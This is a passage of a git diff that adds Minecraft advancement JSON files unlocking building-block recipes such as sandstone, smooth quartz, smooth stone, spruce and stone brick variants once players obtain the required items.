@@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:sandstone" + ] + }, + "criteria": { + "has_sand": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sand" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:sandstone" + } + } + }, + "requirements": [ + [ + "has_sand", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/sandstone_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/sandstone_slab.json new file mode 100644 index 00000000..53bfbc7a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/sandstone_slab.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:sandstone_slab" + ] + }, + "criteria": { + "has_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sandstone" + } + ] + } + }, + "has_chiseled_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:chiseled_sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:sandstone_slab" + } + } + }, + "requirements": [ + [ + "has_sandstone", + "has_chiseled_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/sandstone_slab_from_sandstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/sandstone_slab_from_sandstone_stonecutting.json new file mode 100644 index 00000000..4fc551ff --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/sandstone_slab_from_sandstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:sandstone_slab_from_sandstone_stonecutting" + ] + }, + "criteria": { + "has_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:sandstone_slab_from_sandstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/sandstone_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/sandstone_stairs.json new file mode 100644 index 00000000..a1d62320 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/sandstone_stairs.json @@ -0,0 +1,54 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:sandstone_stairs" + ] + }, + "criteria": { + "has_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sandstone" + } + ] + } + }, + "has_chiseled_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:chiseled_sandstone" + } + ] + } + }, + "has_cut_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cut_sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:sandstone_stairs" + } + } + }, + "requirements": [ + [ + "has_sandstone", + "has_chiseled_sandstone", + "has_cut_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/sandstone_stairs_from_sandstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/sandstone_stairs_from_sandstone_stonecutting.json new file mode 100644 index 00000000..0a961767 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/sandstone_stairs_from_sandstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:sandstone_stairs_from_sandstone_stonecutting" + ] + }, + "criteria": { + "has_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:sandstone_stairs_from_sandstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/sea_lantern.json b/src/data/minecraft/advancements/recipes/building_blocks/sea_lantern.json new file mode 100644 index 00000000..137b0f19 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/sea_lantern.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:sea_lantern" + ] + }, + "criteria": { + "has_prismarine_crystals": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:prismarine_crystals" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:sea_lantern" + } + } + }, + "requirements": [ + [ + "has_prismarine_crystals", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/smooth_quartz.json b/src/data/minecraft/advancements/recipes/building_blocks/smooth_quartz.json new file mode 100644 index 00000000..8637371c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/smooth_quartz.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:smooth_quartz" + ] + }, + "criteria": { + "has_quartz_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:quartz_block" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:smooth_quartz" + } + } + }, + "requirements": [ + [ + "has_quartz_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/smooth_quartz_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/smooth_quartz_slab.json new file mode 100644 index 00000000..a9b6a0c3 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/smooth_quartz_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:smooth_quartz_slab" + ] + }, + "criteria": { + "has_smooth_quartz": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:smooth_quartz" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:smooth_quartz_slab" + } + } + }, + "requirements": [ + [ + "has_smooth_quartz", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/smooth_quartz_slab_from_smooth_quartz_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/smooth_quartz_slab_from_smooth_quartz_stonecutting.json new file mode 100644 index 00000000..430f2291 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/smooth_quartz_slab_from_smooth_quartz_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:smooth_quartz_slab_from_smooth_quartz_stonecutting" + ] + }, + "criteria": { + "has_smooth_quartz": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:smooth_quartz" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:smooth_quartz_slab_from_smooth_quartz_stonecutting" + } + } + }, + "requirements": [ + [ + "has_smooth_quartz", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/smooth_quartz_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/smooth_quartz_stairs.json new file mode 100644 index 00000000..7a722e3d --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/smooth_quartz_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:smooth_quartz_stairs" + ] + }, + "criteria": { + "has_smooth_quartz": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:smooth_quartz" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:smooth_quartz_stairs" + } + } + }, + "requirements": [ + [ + "has_smooth_quartz", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/smooth_quartz_stairs_from_smooth_quartz_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/smooth_quartz_stairs_from_smooth_quartz_stonecutting.json new file mode 100644 index 00000000..1e45460a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/smooth_quartz_stairs_from_smooth_quartz_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:smooth_quartz_stairs_from_smooth_quartz_stonecutting" + ] + }, + "criteria": { + "has_smooth_quartz": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:smooth_quartz" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:smooth_quartz_stairs_from_smooth_quartz_stonecutting" + } + } + }, + "requirements": [ + [ + "has_smooth_quartz", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/smooth_red_sandstone.json b/src/data/minecraft/advancements/recipes/building_blocks/smooth_red_sandstone.json new file mode 100644 index 00000000..6f352ae4 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/smooth_red_sandstone.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:smooth_red_sandstone" + ] + }, + "criteria": { + "has_red_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:smooth_red_sandstone" + } + } + }, + "requirements": [ + [ + "has_red_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/smooth_red_sandstone_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/smooth_red_sandstone_slab.json new file mode 100644 index 00000000..9ffbe3e1 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/smooth_red_sandstone_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:smooth_red_sandstone_slab" + ] + }, + "criteria": { + "has_smooth_red_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:smooth_red_sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:smooth_red_sandstone_slab" + } + } + }, + "requirements": [ + [ + "has_smooth_red_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/smooth_red_sandstone_slab_from_smooth_red_sandstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/smooth_red_sandstone_slab_from_smooth_red_sandstone_stonecutting.json new file mode 100644 index 00000000..80f9fd6a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/smooth_red_sandstone_slab_from_smooth_red_sandstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:smooth_red_sandstone_slab_from_smooth_red_sandstone_stonecutting" + ] + }, + "criteria": { + "has_smooth_red_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:smooth_red_sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:smooth_red_sandstone_slab_from_smooth_red_sandstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_smooth_red_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/smooth_red_sandstone_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/smooth_red_sandstone_stairs.json new file mode 100644 index 00000000..b585690a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/smooth_red_sandstone_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:smooth_red_sandstone_stairs" + ] + }, + "criteria": { + "has_smooth_red_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:smooth_red_sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:smooth_red_sandstone_stairs" + } + } + }, + "requirements": [ + [ + "has_smooth_red_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/smooth_red_sandstone_stairs_from_smooth_red_sandstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/smooth_red_sandstone_stairs_from_smooth_red_sandstone_stonecutting.json new file mode 100644 index 00000000..b277a46c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/smooth_red_sandstone_stairs_from_smooth_red_sandstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:smooth_red_sandstone_stairs_from_smooth_red_sandstone_stonecutting" + ] + }, + "criteria": { + "has_smooth_red_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:smooth_red_sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:smooth_red_sandstone_stairs_from_smooth_red_sandstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_smooth_red_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/smooth_sandstone.json b/src/data/minecraft/advancements/recipes/building_blocks/smooth_sandstone.json new file mode 100644 index 00000000..344cf864 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/smooth_sandstone.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:smooth_sandstone" + ] + }, + "criteria": { + "has_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:smooth_sandstone" + } + } + }, + "requirements": [ + [ + "has_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/smooth_sandstone_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/smooth_sandstone_slab.json new file mode 100644 index 00000000..452263c8 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/smooth_sandstone_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:smooth_sandstone_slab" + ] + }, + "criteria": { + "has_smooth_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:smooth_sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:smooth_sandstone_slab" + } + } + }, + "requirements": [ + [ + "has_smooth_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/smooth_sandstone_slab_from_smooth_sandstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/smooth_sandstone_slab_from_smooth_sandstone_stonecutting.json new file mode 100644 index 00000000..16dc3947 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/smooth_sandstone_slab_from_smooth_sandstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:smooth_sandstone_slab_from_smooth_sandstone_stonecutting" + ] + }, + "criteria": { + "has_smooth_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:smooth_sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:smooth_sandstone_slab_from_smooth_sandstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_smooth_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/smooth_sandstone_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/smooth_sandstone_stairs.json new file mode 100644 index 00000000..d66775ea --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/smooth_sandstone_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:smooth_sandstone_stairs" + ] + }, + "criteria": { + "has_smooth_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:smooth_sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:smooth_sandstone_stairs" + } + } + }, + "requirements": [ + [ + "has_smooth_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/smooth_sandstone_stairs_from_smooth_sandstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/smooth_sandstone_stairs_from_smooth_sandstone_stonecutting.json new file mode 100644 index 00000000..d2fb5db7 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/smooth_sandstone_stairs_from_smooth_sandstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:smooth_sandstone_stairs_from_smooth_sandstone_stonecutting" + ] + }, + "criteria": { + "has_mossy_cobblestone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:smooth_sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:smooth_sandstone_stairs_from_smooth_sandstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_mossy_cobblestone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/smooth_stone.json b/src/data/minecraft/advancements/recipes/building_blocks/smooth_stone.json new file mode 100644 index 00000000..31048500 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/smooth_stone.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:smooth_stone" + ] + }, + "criteria": { + "has_stone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:smooth_stone" + } + } + }, + "requirements": [ + [ + "has_stone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/smooth_stone_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/smooth_stone_slab.json new file mode 100644 index 00000000..2f834379 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/smooth_stone_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:smooth_stone_slab" + ] + }, + "criteria": { + "has_smooth_stone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:smooth_stone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:smooth_stone_slab" + } + } + }, + "requirements": [ + [ + "has_smooth_stone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/smooth_stone_slab_from_smooth_stone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/smooth_stone_slab_from_smooth_stone_stonecutting.json new file mode 100644 index 00000000..e2d3cd42 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/smooth_stone_slab_from_smooth_stone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:smooth_stone_slab_from_smooth_stone_stonecutting" + ] + }, + "criteria": { + "has_smooth_stone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:smooth_stone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:smooth_stone_slab_from_smooth_stone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_smooth_stone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/snow_block.json b/src/data/minecraft/advancements/recipes/building_blocks/snow_block.json new file mode 100644 index 00000000..894c864b --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/snow_block.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:snow_block" + ] + }, + "criteria": { + "has_snowball": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:snowball" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:snow_block" + } + } + }, + "requirements": [ + [ + "has_snowball", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/sponge.json b/src/data/minecraft/advancements/recipes/building_blocks/sponge.json new file mode 100644 index 00000000..7654fc8f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/sponge.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:sponge" + ] + }, + "criteria": { + "has_wet_sponge": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:wet_sponge" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:sponge" + } + } + }, + "requirements": [ + [ + "has_wet_sponge", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/spruce_planks.json b/src/data/minecraft/advancements/recipes/building_blocks/spruce_planks.json new file mode 100644 index 00000000..8123f9ef --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/spruce_planks.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:spruce_planks" + ] + }, + "criteria": { + "has_logs": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:spruce_logs" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:spruce_planks" + } + } + }, + "requirements": [ + [ + "has_logs", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/spruce_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/spruce_slab.json new file mode 100644 index 00000000..e1b98e5c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/spruce_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:spruce_slab" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:spruce_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:spruce_slab" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/spruce_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/spruce_stairs.json new file mode 100644 index 00000000..182646a2 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/spruce_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:spruce_stairs" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:spruce_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:spruce_stairs" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/spruce_wood.json b/src/data/minecraft/advancements/recipes/building_blocks/spruce_wood.json new file mode 100644 index 00000000..c1700e1e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/spruce_wood.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:spruce_wood" + ] + }, + "criteria": { + "has_log": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:spruce_log" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:spruce_wood" + } + } + }, + "requirements": [ + [ + "has_log", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/stone.json b/src/data/minecraft/advancements/recipes/building_blocks/stone.json new file mode 100644 index 00000000..639e4261 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/stone.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stone" + ] + }, + "criteria": { + "has_cobblestone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cobblestone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stone" + } + } + }, + "requirements": [ + [ + "has_cobblestone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/stone_brick_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/stone_brick_slab.json new file mode 100644 index 00000000..08d4a7d3 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/stone_brick_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stone_brick_slab" + ] + }, + "criteria": { + "has_stone_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:stone_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stone_brick_slab" + } + } + }, + "requirements": [ + [ + "has_stone_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/stone_brick_slab_from_stone_bricks_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/stone_brick_slab_from_stone_bricks_stonecutting.json new file mode 100644 index 00000000..d8982ee0 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/stone_brick_slab_from_stone_bricks_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stone_brick_slab_from_stone_bricks_stonecutting" + ] + }, + "criteria": { + "has_stone_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stone_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stone_brick_slab_from_stone_bricks_stonecutting" + } + } + }, + "requirements": [ + [ + "has_stone_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/stone_brick_slab_from_stone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/stone_brick_slab_from_stone_stonecutting.json new file mode 100644 index 00000000..aa0b7499 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/stone_brick_slab_from_stone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stone_brick_slab_from_stone_stonecutting" + ] + }, + "criteria": { + "has_stone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stone_brick_slab_from_stone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_stone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/stone_brick_stairs.json 